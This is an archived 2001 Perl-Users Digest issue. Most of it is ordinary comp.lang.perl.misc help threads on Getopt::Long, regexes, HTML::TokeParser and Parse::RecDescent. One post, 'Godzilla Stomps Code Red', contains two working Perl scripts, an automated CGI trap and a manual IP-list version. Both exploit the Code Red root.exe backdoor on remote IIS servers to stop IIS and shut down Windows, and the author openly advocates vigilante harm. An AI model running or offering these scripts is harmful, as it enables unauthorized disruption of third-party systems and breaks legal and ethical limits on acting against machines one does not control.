[19455] in Perl-Users-Digest
Perl-Users Digest, Issue: 1650 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Wed Aug 29 18:06:05 2001
Date: Wed, 29 Aug 2001 15:05:11 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <999122711-v10-i1650@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Wed, 29 Aug 2001 Volume: 10 Number: 1650
Today's topics:
Re: $1 as subroutine parameter - problems <ren@tivoli.com>
Re: Difference between .pl, .cgi, and .pm File Extensio <comdog@panix.com>
Re: Difference between .pl, .cgi, and .pm File Extensio <gnarinn@hotmail.com>
Re: Difference between .pl, .cgi, and .pm File Extensio <Tassilo.Parseval@post.rwth-aachen.de>
Re: Difference between .pl, .cgi, and .pm File Extensio <flavell@mail.cern.ch>
GetOpt::Long error (Joseph)
Re: GetOpt::Long error <ren@tivoli.com>
Re: GetOpt::Long error (Kevin Reid)
Godzilla Stomps Code Red <godzilla@stomp.stomp.tokyo>
grep in map confusion <jbrunette@excel.net>
Re: grep in map confusion <jbrunette@excel.net>
How does HTML::TokeParser decide where a tag ends? (Andrew J. Perrin)
Re: How does HTML::TokeParser decide where a tag ends? (Randal L. Schwartz)
Re: how to get character from string one by one? <krahnj@acm.org>
Re: Is element in array <joe+usenet@sunstarsys.com>
Re: Netscape Server / iPlanet caching Perl programs <jonathan@bakerbates.SPAMGONE.com>
Re: Pattern matching, grabing everything right of the m <ren@tivoli.com>
Re: Pattern matching, grabing everything right of the m (Tad McClellan)
Prlbm installing sybperl on Solaris 2.6. <hdx64@hotmail.com>
R: Parse::RecDescent <marco.baringer@convey.it>
Re: R: Parse::RecDescent (Damian Conway)
Re: RegEx? <ren@tivoli.com>
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: 29 Aug 2001 12:36:13 -0500
From: Ren Maddox <ren@tivoli.com>
Subject: Re: $1 as subroutine parameter - problems
Message-Id: <m3bskyydiq.fsf@dhcp9-161.support.tivoli.com>
On Tue, 28 Aug 2001, bart.lateur@skynet.be wrote:
> ctcgag@hotmail.com wrote:
>
>>Hmmm. This is still somewhat confusing. It looks like special
>>variables are localized by saving the value someplace else, using
>>the original address, then restoring the value upon leaving the
>>block.
>
> Nonono. It happens to all global variables, if you use local()
> yourself on them. The only thing special about $1 and friends is
> that this localisation happens automatically when you enter a new
> block that happens to contain a regex. Something like that, anyway.
Did you look at his example code? It demonstrates that there is a
difference.
Xho, I suspect that the reason for the difference is that the
automatic localization of $1 happens before the aliasing of @_. So @_
gets aliased to the already localized $1.
--
Ren Maddox
ren@tivoli.com
------------------------------
Date: Wed, 29 Aug 2001 15:32:00 -0400
From: brian d foy <comdog@panix.com>
Subject: Re: Difference between .pl, .cgi, and .pm File Extensions.
Message-Id: <comdog-D759E2.15320029082001@news.panix.com>
In article <r41j7.941$0P5.47750@ozemail.com.au>, "nathan"
<michealo@ozemail.com.au> wrote:
> im not sure if this is current but here goes
> pl - perl language
perl *library*. some people frown on using this (or any)
extension for scripts. sometimes you'll see .plx (perl
executable) since some operating systems jsut can't do
without.
--
brian d foy <comdog@panix.com> - Perl services for hire
CGI Meta FAQ - http://www.perl.org/CGI_MetaFAQ.html
Troubleshooting CGI scripts - http://www.perl.org/troubleshooting_CGI.html
------------------------------
Date: Wed, 29 Aug 2001 20:03:07 +0000
From: gnari <gnarinn@hotmail.com>
Subject: Re: Difference between .pl, .cgi, and .pm File Extensions.
Message-Id: <999115387.830232719890773.gnarinn@hotmail.com>
In article <3B8CAE92.6060607@post.rwth-aachen.de>,
Tassilo von Parseval <Tassilo.Parseval@post.rwth-aachen.de> wrote:
>Bob Holden wrote:
>
>> Thanks for the responses so far, but I've done enough reading to know
>> what the extensions stood for, but am looking for WHY one would use
>> one over the other. Is there some hard and fast generalized rule?
>
>Partly. ;-)
>
>The thing that you pull into your script using use() or require() is - I
>don't know any exception from that - always a .pm file.
these default to .pm but you can require a file with any extension, (or
no extension)
>I never even
>tried what happened if you suffixed a .pl. .pl files have been used a
>moduled back in the Perl4 time where, as far as I know, pl stood for
>perl library. Nowadays we call them modules.
no, the .pm files are called modules
>.cgi however is a generic suffix that wont give away information on the
>language in which it was written. It could be Perl, but it could also be
>Python or even C. Possibly assembly, if you like. So if you write
>cgi-scripts in Perl you are free to either use .pl or .cgi as extension
>but do tell your webserver about it.
in fact decent webservers do not necessarily associate extentions with
cgi, so you are free not to have any extension at all
gnari
------------------------------
Date: Wed, 29 Aug 2001 22:45:42 +0200
From: Tassilo von Parseval <Tassilo.Parseval@post.rwth-aachen.de>
Subject: Re: Difference between .pl, .cgi, and .pm File Extensions.
Message-Id: <3B8D5476.6020104@post.rwth-aachen.de>
gnari wrote:
>>I never even
>>tried what happened if you suffixed a .pl. .pl files have been used a
>>moduled back in the Perl4 time where, as far as I know, pl stood for
>>perl library. Nowadays we call them modules.
>>
>
> no, the .pm files are called modules
Yes, and a module is a library if my semantic knowledge hasn't abandoned me.
Tassilo
--
$a=[(74,116)];$b=[($a->[1]-1,$a->[1]++,0x20)];$c=[(97,110)];$d=[($c->
[1]+1,$b->[1],"her")];for(@{[$a,$b,$c,$d]}){for(@{$_}){$_=~/\d+/?print
(chr($_)):print;}}$c=sub{$l=shift;[(0x20+$l-1,0x50,0x65,0x73-0x01,108
),(0x20,0x68,0x61,)]};print(map{chr($_)}@{($c->(1))});$h={a=>33*3,b=>
10**2+7,c=>"1"."0"."1",d=>0162};@h=sort(keys(%$h));for(@h){print(chr(
ord(chr($h->{$_}))))};
------------------------------
Date: Wed, 29 Aug 2001 22:54:50 +0200
From: "Alan J. Flavell" <flavell@mail.cern.ch>
Subject: Re: Difference between .pl, .cgi, and .pm File Extensions.
Message-Id: <Pine.LNX.4.30.0108292250500.7319-100000@lxplus023.cern.ch>
On Aug 29, brian d foy inscribed on the eternal scroll:
(re. use of .pl as a filename 'extension'):
> perl *library*. some people frown on using this (or any)
> extension for scripts. sometimes you'll see .plx (perl
> executable) since some operating systems jsut can't do
> without.
Well, since the canonical building procedure starts with
perl Makefile.PL
it would seem that someone "in authority" thinks that Perl scripts
have a filename extension of .PL (upper case).
Some of mine have filename extensions of .cgi (with the obvious
significance ;-), and some of them have none at all. But who am I to
argue?
cheers
------------------------------
Date: 29 Aug 2001 12:09:53 -0700
From: joseph.van_quakebeke@innovantage.com (Joseph)
Subject: GetOpt::Long error
Message-Id: <1c66c494.0108291109.7cfbb549@posting.google.com>
I am getting an odd error when I try to use GetOpt::Long. Here is a code snippet:
#
# Standard includes
#
use strict;
use diagnostics;
use GetOpt::Long;
#
# global constant
# This will always be the baseline for all projects.
#
use constant BASELINE_PROJECT => "$/af2000";
#
# Global variables and command line options
#
my ($Project, $OutPut);
GetOptions( "project=s" => \$Project,
"output=s" => \$OutPut);
and here is the error message:
C:\project_diff>perl -w AlphaMerge.pl -p AF2000
Undefined subroutine &main::GetOptions called at AlphaMerge.pl line 33 (#1)
(F) The subroutine indicated hasn't been defined, or if it was, it has
since been undefined.
Uncaught exception from user code:
Undefined subroutine &main::GetOptions called at AlphaMerge.pl line 33.
C:\project_diff>
I do not understand why I am getting this error message.
TIA
Joseph
------------------------------
Date: 29 Aug 2001 15:05:40 -0500
From: Ren Maddox <ren@tivoli.com>
Subject: Re: GetOpt::Long error
Message-Id: <m3pu9ews17.fsf@dhcp9-161.support.tivoli.com>
On 29 Aug 2001, joseph.van_quakebeke@innovantage.com wrote:
> use GetOpt::Long;
^
use Getopt::Long;
[rest of code snipped]
> C:\project_diff>perl -w AlphaMerge.pl -p AF2000
> Undefined subroutine &main::GetOptions called at AlphaMerge.pl line 33 (#1)
> (F) The subroutine indicated hasn't been defined, or if it was, it has
> since been undefined.
>
> Uncaught exception from user code:
> Undefined subroutine &main::GetOptions called at
> AlphaMerge.pl line 33.
>
> C:\project_diff>
>
> I do not understand why I am getting this error message.
On a UNIX system, you would have gotten something starting with:
Uncaught exception from user code:
Uncaught exception from user code:
Can't locate GetOpt/Long.pm in @INC (@INC contains:
which is a compile-time error rather than the run-time error you got.
But on your system, filenames are not case sensitive, so the call to
load GetOpt/Long.pm successfully loads Getopt/Long.pm. But the
package name doesn't match the name of the module, so the
auto-importing fails.
--
Ren Maddox
ren@tivoli.com
------------------------------
Date: Wed, 29 Aug 2001 20:35:03 GMT
From: kpreid@attglobal.net (Kevin Reid)
Subject: Re: GetOpt::Long error
Message-Id: <1eywtwd.h4ezux1ley4w0N%kpreid@attglobal.net>
Joseph <joseph.van_quakebeke@innovantage.com> wrote:
> I am getting an odd error when I try to use GetOpt::Long. Here is a code
> snippet:
..
> use GetOpt::Long;
..
> Undefined subroutine &main::GetOptions called at AlphaMerge.pl line 33
You are using a case-insensitive file system, and the module is named
Getopt::Long, not GetOpt::Long. Therefore the module is loaded into the
Getopt::Long package, but Perl thinks it should be in the GetOpt::Long
package, so no symbols are imported.
--
Kevin Reid: | Macintosh:
"I'm me." | Think different.
------------------------------
Date: Wed, 29 Aug 2001 12:10:00 -0700
From: "Godzilla!" <godzilla@stomp.stomp.tokyo>
Subject: Godzilla Stomps Code Red
Message-Id: <3B8D3E08.55B5B701@stomp.stomp.tokyo>
There is a very serious note of caution which you should
abide, do not discount this. Use of either script below
my signature could very well put you in a World Of Hurt.
Clearly no court precedence exists for these circumstances
with our internet being the new Wild West. Nonetheless,
you could suffer serious trouble, face legal entanglement,
lose your account or even have your server shutdown.
This is an interesting situation, a paradox presented
pertaining to protecting your server or causing harm.
I would lean towards causing harm, although not serious.
A couple of weeks back, I emailed an administrator of a
server infected with Code Red. He gave me his word he
would immediately patch his server; rid it of Code Red.
Today, I am still receiving Code Red attempts from his
server. Obviously he did not keep his word.
Those who give their word and do not keep it, such as
Tad McCellan giving his word to rewrite his CLPM FAQ,
giving his word to post a revision and, never doing so,
this type of welch annoys me. I expect people to keep
their word. I always do, pleasant results or otherwise.
For ornery entertainment, if I take a hankering, I will
email an administrator of a Code Red infected server
advising him of this and, offer to demonstrate an ability
to shut down his server and his operating system, remotely.
This type of message is a strong one and perhaps will prompt
an administrator to clean house, as is expected, to prevent
causing harm to others, thousands of others.
You should, you will email a Code Red server first and
provide this message, as I do, as an act of responsibility.
Explain what can happen and, offer to demonstrate what may
very well happen, or something even worse. Shutting down a
server, shutting down an operating system, both are mere
child's play, least for me.
Below my signature are two scripts. Those of you whom are
relatively experienced at Perl programming, will quickly
surmise what they do and how to configure them for use.
My expectations are you will act with due adult responsibility.
If not, you are certainly less of a person than I.
Godzilla! Queen Of Perl Heretics.
--
It would be prudent to test these scripts on your own server.
Obviously these are not scripts I can test exhaustively.
Consider these to be research and development beta scripts.
Run tests on these scripts, do this without fail.
AUTOMATED VERSION:
enable webserver cgi for ".ida" and name script "default.ida"
_________________________________________________
#!perl
use LWP::UserAgent;
our ($time);
if (length ($ENV{QUERY_STRING}) > 0)
{
open (CODE_RED, ">>codered.log") || die;
my ($user_agent) = new LWP::UserAgent;
$user_agent -> agent ("Godzilla Stomped Your Code Red Infected Server");
my ($stomp_server) = new HTTP::Request (GET => "http://$ENV{REMOTE_ADDR}/scripts/root.exe?/c+iisreset+/stop");
my ($response) = $user_agent -> request ($stomp_server);
if ($response -> is_success)
{
$time = scalar localtime(time);
print "$time\n Remote IIS Server $ENV{REMOTE_ADDR} Has Been Shut Down.";
my ($stomp_os) = new HTTP::Request (GET => "http://$ENV{REMOTE_ADDR}/scripts/root.exe?/c+rundll32.exe+shell32.dll,SHExitWindowsEx+5");
$response = $user_agent -> request ($stomp_os);
if ($response -> is_success)
{
$time = scalar localtime(time);
print CODE_RED "$time\n Remote Operating System $ENV{REMOTE_ADDR} Shut Down.";
}
}
else
{
$time = scalar localtime(time);
print CODE_RED "$time\n Remote Server $ENV{REMOTE_ADDR} Shut Down Failed.";
}
close (CODE_RED);
}
exit;
MANUAL VERSION:
_______________
#!perl
use LWP::UserAgent;
our ($time);
our (@Array_IPA) = qw ( list ip address or addresses);
for $remote_addr (@Array_IPA)
{
my ($user_agent) = new LWP::UserAgent;
$user_agent -> agent ("Godzilla Stomped Your Code Red Infected Server");
my ($stomp_server) = new HTTP::Request (GET => "http://$remote_addr/scripts/root.exe?/c+iisreset+/stop");
my ($response) = $user_agent -> request ($stomp_server);
if ($response -> is_success)
{
$time = scalar localtime(time);
print "$time\n Remote IIS Server $remote_addr Has Been Shut Down.";
my ($stomp_os) = new HTTP::Request (GET => "http://$remote_addr/scripts/root.exe?/c+rundll32.exe+shell32.dll,SHExitWindowsEx+5");
$response = $user_agent -> request ($stomp_os);
if ($response -> is_success)
{
$time = scalar localtime(time);
print "$time\n Remote Operating System $remote_addr Has Been Shut Down.";
}
}
else
{
$time = scalar localtime(time);
print "$time\n Remote Server $remote_addr Shut Down Failed.";
}
}
exit;
------------------------------
Date: Wed, 29 Aug 2001 13:08:22 -0500
From: "Jason Brunette" <jbrunette@excel.net>
Subject: grep in map confusion
Message-Id: <Fcaj7.9$6g3.879@client>
Sigh...please help a confused old man.
Why does this:
@blah = (1,2,3,4,5);
@blah2 = (2,4);
map { print "$_\n" if grep /^$_$/, @blah } @blah2;
...print...
2
4
...but this (same but with logical not "!"):
@blah = (1,2,3,4,5);
@blah2 = (2,4);
map { print "$_\n" if !(grep /^$_$/, @blah) } @blah2;
...prints nothing? Shouldn't it print "1" "3" "5"?
Jason
------------------------------
Date: Wed, 29 Aug 2001 13:10:12 -0500
From: "Jason Brunette" <jbrunette@excel.net>
Subject: Re: grep in map confusion
Message-Id: <peaj7.10$6g3.656@client>
Please ignore the post...if I had only waited a few seconds longer to
post...(hides in the corner)
"Jason Brunette" <jbrunette@excel.net> wrote in message
news:Fcaj7.9$6g3.879@client...
> Sigh...please help a confused old man.
>
> Why does this:
>
> @blah = (1,2,3,4,5);
> @blah2 = (2,4);
> map { print "$_\n" if grep /^$_$/, @blah } @blah2;
>
> ...print...
>
> 2
> 4
>
> ...but this (same but with logical not "!"):
>
> @blah = (1,2,3,4,5);
> @blah2 = (2,4);
> map { print "$_\n" if !(grep /^$_$/, @blah) } @blah2;
>
> ...prints nothing? Shouldn't it print "1" "3" "5"?
>
> Jason
>
>
>
------------------------------
Date: 29 Aug 2001 14:56:45 -0400
From: aperrin@email.unc.edu (Andrew J. Perrin)
Subject: How does HTML::TokeParser decide where a tag ends?
Message-Id: <87k7zmhez6.fsf@hm269-26876.socsci.unc.edu>
Greetings.
I'm writing a parser to extract some information from news
archives. The files come in as html, so I'm using HTML::TokeParser to
read the information. Essentially, I just need to extract source name,
byline, headline, length, date, and section from the files.
Here's the problem: In two files with (as far as I can tell) identical
text identifying the source, HTML::TokeParser returns different
tokens. That is, in doc1 the entire source name ("Morning Star
(Wilmington, NC)") is in a single tag, whereas in doc2 it's broken in
two such that "Morning Star (Wilmington," is in one tag, while "NC)"
is in the following tag.
This behavior is consistent, e.g., with these two files I always get
the same breakdown into tags.
Is there any way to predict or control this? If not, what's the Right
Way (tm) to extract the full string?
For anyone interested, here's the information on the files:
1.) The source of the tags:
doc1:
-------------------
<br>
<font color="#000000"><div align=center>
Copyright 2001 Wilmington Star-News, Inc.
 
<br>Morning Star (Wilmington, NC)
</div>
<br><div align=center>
<strong>August</strong> 21, 2001, Tuesday
-------------------
doc2:
-------------------
<br>
<font color="#000000"><div align=center>
Copyright 2001 Wilmington Star-News, Inc.
 
<br>Morning Star (Wilmington, NC)
</div>
<br><div align=center>
<strong>August</strong> 14, 2001, Tuesday
-------------------
2.) Trace (from perl -d) of tag contents from the files:
doc1:
-------------------
main::parsefile(parseme.pl:13): $bodyfound = 1 if $t->[0] eq 'C' and $t->[1] =~ /!--\s+if\s*_printable\s+--/;
DB<5> print $t->[0]
T
DB<6> print $t->[1]
Morning Star (Wilmington, NC)
-------------------
doc2:
-------------------
main::parsefile(parseme.pl:13): $bodyfound = 1 if $t->[0] eq 'C' and $t->[1] =~ /!--\s+if\s*_printable\s+--/;
DB<5> print $t->[0]
T
DB<6> print $t->[1]
Morning Star (Wilmington,
DB<7> c
main::parsefile(parseme.pl:13): $bodyfound = 1 if $t->[0] eq 'C' and $t->[1] =~ /!--\s+if\s*_printable\s+--/;
DB<7> print $t->[0]
T
DB<8> print $t->[1]
NC)
-------------------
--
----------------------------------------------------------------------
Andrew J Perrin - andrew_perrin@unc.edu - http://www.unc.edu/~aperrin
Assistant Professor of Sociology, U of North Carolina, Chapel Hill
269 Hamilton Hall, CB#3210, Chapel Hill, NC 27599-3210 USA
------------------------------
Date: 29 Aug 2001 13:39:47 -0700
From: merlyn@stonehenge.com (Randal L. Schwartz)
Subject: Re: How does HTML::TokeParser decide where a tag ends?
Message-Id: <m166b6r46k.fsf@halfdome.holdit.com>
>>>>> "Andrew" == Andrew J Perrin <aperrin@email.unc.edu> writes:
Andrew> Here's the problem: In two files with (as far as I can tell) identical
Andrew> text identifying the source, HTML::TokeParser returns different
Andrew> tokens. That is, in doc1 the entire source name ("Morning Star
Andrew> (Wilmington, NC)") is in a single tag, whereas in doc2 it's broken in
Andrew> two such that "Morning Star (Wilmington," is in one tag, while "NC)"
Andrew> is in the following tag.
HTML::TokeParser uses HTML::Parser, which has no guarantees about how
text is broken up, *unless* you call $p->unbroken_text(1) on the
parser object $p. See "perldoc HTML::Parser" for details.
use HTML::Parser;HTML::Parser->new(handlers=>{text=>[sub{print shift},"text"]})->parse("Just <!-- what -->another Perl hacker<!-- would do!-->,")->eof;
--
Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095
<merlyn@stonehenge.com> <URL:http://www.stonehenge.com/merlyn/>
Perl/Unix/security consulting, Technical writing, Comedy, etc. etc.
See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training!
------------------------------
Date: Wed, 29 Aug 2001 21:29:12 GMT
From: "John W. Krahn" <krahnj@acm.org>
Subject: Re: how to get character from string one by one?
Message-Id: <3B8D5F1D.AEA5E7CE@acm.org>
Yves Orton wrote:
>
> The tests that I ran...
>
> chop and vec have been omitted so far.
Just a couple of points.
> my $types={
> Scalar_only=>{
> 'substr4' => 'substr ($s, 0, 1, "") while length($s)',
> 'substr3' => 'substr( $s, $_, 1 ) foreach (0..length($s)-1)',
> },
> Regexp=>{
> 'rex_dot' => '$s =~ /(.)/gs',
> 'rex_class' => '$s =~ /([\x00-\xFF])/gs',
^
The /s modifier isn't required as you are not using the period (.) in
the regex.
> },
> List_only=>{
> 'unpack' => 'unpack("C*", $s)',
map { chr } unpack( 'C*', $s )
# OR
unpack( 'a' x length $s, $s )
> 'split' => 'split(//,$s)',
> },
> };
John
--
use Perl;
program
fulfillment
------------------------------
Date: 29 Aug 2001 16:18:03 -0400
From: Joe Schaefer <joe+usenet@sunstarsys.com>
Subject: Re: Is element in array
Message-Id: <m3zo8imxhg.fsf@mumonkan.sunstarsys.com>
brian d foy <comdog@panix.com> writes:
> In article <m3pu9fnfnv.fsf@mumonkan.sunstarsys.com>, Joe Schaefer
> <joe+usenet@sunstarsys.com> wrote:
>
> [snip]
>
> > That passage sounds more like a bug report than anything else.
> > IMO the only reason "grep" is in the language is to emulate the
> > functionality of Unix's grep, which has an "-l" flag.
>
> grep is much more powerful that than though, and certainly doesn't
> act like `grep -l`. if you think that, and only use simple conditions
> in the grep block, then you are missing most of the fun.
What I think is that "grep blah" is completely equivalent to
"map blah ? $_ : ()", but I don't see any need to enforce this
relationship in perl 6 as well. IMO the value of having the
keyword "grep" is that it mimics the Unix conception of it, so
IMO Perl's grep should be applicable to the same types of problems
that the Unix version is (and more of course).
For example, say I wanted to know whether a file contained
a certain word. grep(1) (possibly with the "-q" or "-l" flag for
really big files) seems natural for this. But if we shouldn't use
Perl grep to solve the corresponding problem for Perl lists, that
doesn't seem like much of a "power" improvement to me.
Again, if we are supposed to discourage people from using Perl
grep in situations like this, then I think there should be some
compelling reason why. But despite the FAQ's verbiage, AFAICT
there doesn't appear to be one.
> > In a boolean
> > context, I think it would be nice if perl6's grep would behave similarly.
>
> but then it wouldn't be grep. you can already use grep in a scalar
> context to count the number of matches. if you want to search in
> another fashion, a different function is in order :)
^^^^^^^^^^^^^^^^^^
So is OP's question solved using a new method in Perl 6?
Joe Schaefer
--
perl -wle '$,=" ";{ my @x; sub x{if(@_){push @x,@_; return sub{push @x,@_; @x}}
sub{push @x,@_; @x}}
} print x ("Just")->("another"), x -> ("perl" , "hacker,")'
------------------------------
Date: Wed, 29 Aug 2001 22:24:10 +0100
From: "Jonathan" <jonathan@bakerbates.SPAMGONE.com>
Subject: Re: Netscape Server / iPlanet caching Perl programs
Message-Id: <9mjmi5$nao$1@uranium.btinternet.com>
I think fast-cgi is supported by iPlanet, but I'm afraid the real answer
might be that if you're worried about the performance of CGI scripts, and
you're running iPlanet, then you really should be looking at another way to
handle server-side applications.
In my experience, most people who run iPlanet, as oppsosed to Apache, do so
for a specific reason - can I ask what your reason is?
Jonathan
"Joel" <plotkin@ejournalpress.com> wrote in message
news:40d256b3.0108290802.5e80a314@posting.google.com...
> Hi,
>
> Label me clueless- but is there a way for iPlanet / Netscape
> Enterprise Server (running on Solaris) to cache Perl cgi programs?
>
> 1) to save time via persistent database connections; and
> 2) not have to re-compile the perl code on every web hit?
>
> Something like mod_perl, Appache::Registry, PerlEx, or fast-cgi?
>
> I looked at nsapi- but it doesn't compile under Linux (our test
> machine) and doesn't look too well supported.
>
> Fast.serv looked good- but it does not appear to be available...
>
> Any ideas? The more the better.
>
> Many thanks,
>
> Joel
------------------------------
Date: 29 Aug 2001 12:42:54 -0500
From: Ren Maddox <ren@tivoli.com>
Subject: Re: Pattern matching, grabing everything right of the match
Message-Id: <m37kvmyd7l.fsf@dhcp9-161.support.tivoli.com>
On 29 Aug 2001, steve_mcdonald@choicehotels.com wrote:
> I have a script that posts data to a website and accepts the
> returning HTLM. I'm using iterations of the following to pull out
> values from the return. I have 19 values to extract. The problem I
> am having is some of the values are of variable length and words.
> Is there a "universal" replacement for "\w+.\w+." that will grab all
> characters to the right of the pattern no matter how long or how
> many spaces there are?
".*" ? Or maybe "[\w\s]*", depending on your need...
--
Ren Maddox
ren@tivoli.com
------------------------------
Date: Wed, 29 Aug 2001 15:32:41 -0400
From: tadmc@augustmail.com (Tad McClellan)
Subject: Re: Pattern matching, grabing everything right of the match
Message-Id: <slrn9oqgqp.4lj.tadmc@tadmc26.august.net>
Steve McDonald <steve_mcdonald@choicehotels.com> wrote:
>Is there a
>"universal" replacement for "\w+.\w+." that will grab all characters
Yes: .*
It is a little hard to believe that you didn't see that
yourself when you checked perlre.pod before posting...
--
Tad McClellan SGML consulting
tadmc@augustmail.com Perl programming
Fort Worth, Texas
------------------------------
Date: Wed, 29 Aug 2001 15:25:53 -0400
From: "John Do" <hdx64@hotmail.com>
Subject: Prlbm installing sybperl on Solaris 2.6.
Message-Id: <3b8d419e$0$13473@wodc7nh0.news.uu.net>
Hi ,
When I tried to install sybperl 2.13 on Sol2.6 with Sybase library 10.xx.
Doing "make" i got:
cc -c -I/usr/vendor/sybase/include -I/usr/local/include -O
-DVERSION=\"2.13\" -DXS_VERSION=\"2.13\" -Kpic
-I/usr/local/libdata/perl-5.004/sun4-solaris/CORE/CORE -DCTLIBVS=100
-DSYBPLVER='"2.13"' -DDO_TIE CTlib.c
/usr/ucb/cc: language optional software package not installed
*** Error code 1
make: Fatal error: Command failed for target `CTlib.o'
Current working directory /tmp/sybperl-2.13/CTlib
*** Error code 1
make: Fatal error: Command failed for target `subdirs'
I checked Sun package doesn't find any clue, installed bunch of language
module from CPAN, still don't help. Anybody out there has a clue?
Thanks.
------------------------------
Date: Wed, 29 Aug 2001 20:12:32 +0200
From: "Marco Baringer" <marco.baringer@convey.it>
Subject: R: Parse::RecDescent
Message-Id: <9mjbhv$1qt8$1@stargate1.inet.it>
ignore all this. i had a dos formatted text file....
Marco Baringer <marco.baringer@convey.it> wrote in message
9mjah7$36u0$1@stargate1.inet.it...
> not sure if you're supposed to post code like this or not, at worst
someone
> will just kill me.
>
> here's my grammar:
> q{
> config : section(s) /\s*\n/ | <error>
>
> section : "[" section_label "]" / *\n/ parameter(s) | <error>
>
> section_label : /A-Z/ | <error>
>
> parameter : key "=" value | <error>
>
> key : /[A-Z0-9 ]+/ | <error>
>
> value : /.*$/m | <error>
> }
>
> and here's a small test config file:
>
> [SECTION]
> key number one=value number one
> key2=87
>
> i get this error: Invalid Section: Was expecting / *\n/ but found
> "key number one=value number one " instead.
>
>
> is my problem obvious or do i just need to bang my head with it a bit
more?
>
> --
> - Marco
>
>
>
------------------------------
Date: 29 Aug 2001 19:57:40 GMT
From: damian@cs.monash.edu.au (Damian Conway)
Subject: Re: R: Parse::RecDescent
Message-Id: <9mjhfk$ug8$1@towncrier.cc.monash.edu.au>
"Marco Baringer" <marco.baringer@convey.it> writes:
> here's my grammar:
[snipped]
> is my problem obvious or do i just need to bang my head with it a
> bit more?
Yes and yes. ;-)
The main problem wasn't RecDescent related; it was that your regexes
didn't match what you wanted them to match.
Here's a variation that does what you want:
q{
config:
section(s)
section:
<skip: ''> section_label parameter(s)
| <error>
section_label:
/\[[A-Z]+\]\s*/
parameter:
key "=" value
key:
/[A-Za-z0-9 ]+/
value:
/.*\n/
}
Note that I also removed some of the over-eager <error>ing :-)
All the best,
Damian
------------------------------
Date: 29 Aug 2001 13:01:28 -0500
From: Ren Maddox <ren@tivoli.com>
Subject: Re: RegEx?
Message-Id: <m33d6ayccn.fsf@dhcp9-161.support.tivoli.com>
On Tue, 28 Aug 2001, baker@Akira.cyborgworkshop.com wrote:
> OK.. Now I'm going to beg for wisdom again. Let me see if I
> understand this correctly.
>
> my ($from) = $row->[1] =~ /^([^<]*) </;
>
> I'm doing the () around $from because otherwise I return a one or a
> zero, matchs or not.. But why?
Because without those parens the match is in scalar context and in
scalar context a match just returns a Boolean value indicating whether
or not the match succeeded (1 for success, undef for failure).
> For the Regex
> /^ -> Start of the line
Yes, though it actually isn't necessary in this case.
> ([^<]*) -> I have no idea
These parens mean to capture the portion of the regex that they
contain. Since the match is in a list context, the captured portions
will be returned as a list. The square brackets are a character
class. When used at the beginning of a character class as here, a
caret ("^") mean to negate the class. So this character class matches
any character other than "<". The asterisk means any number of the
preceding.
So, "([^<]*)" means to capture everything up to, but not including,
the first "<".
> </l -> end the match
Well, there was no "l", and the "<" is just matching a literal "<".
Also, there was a space before it. Including the space and the "<"
in the pattern is not strictly necessary, but it allows the result to
not have that space included. If there was more than one space, the
extras would still be included in $from.
> OK... could someone explain the middle part and why the ()'s? And
> for that matter, what if I wanted to get the second half, the email
> address. This wouldnt work would it?
Of course not. If it would then how would it be working now? Here's
a similar solution for the email address[1]:
my ($email) = $row->[1] =~ /<([^>]*)/;
HTH...
[1] Note that parsing email address is *much* more complicated than
this.
--
Ren Maddox
ren@tivoli.com
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 1650
***************************************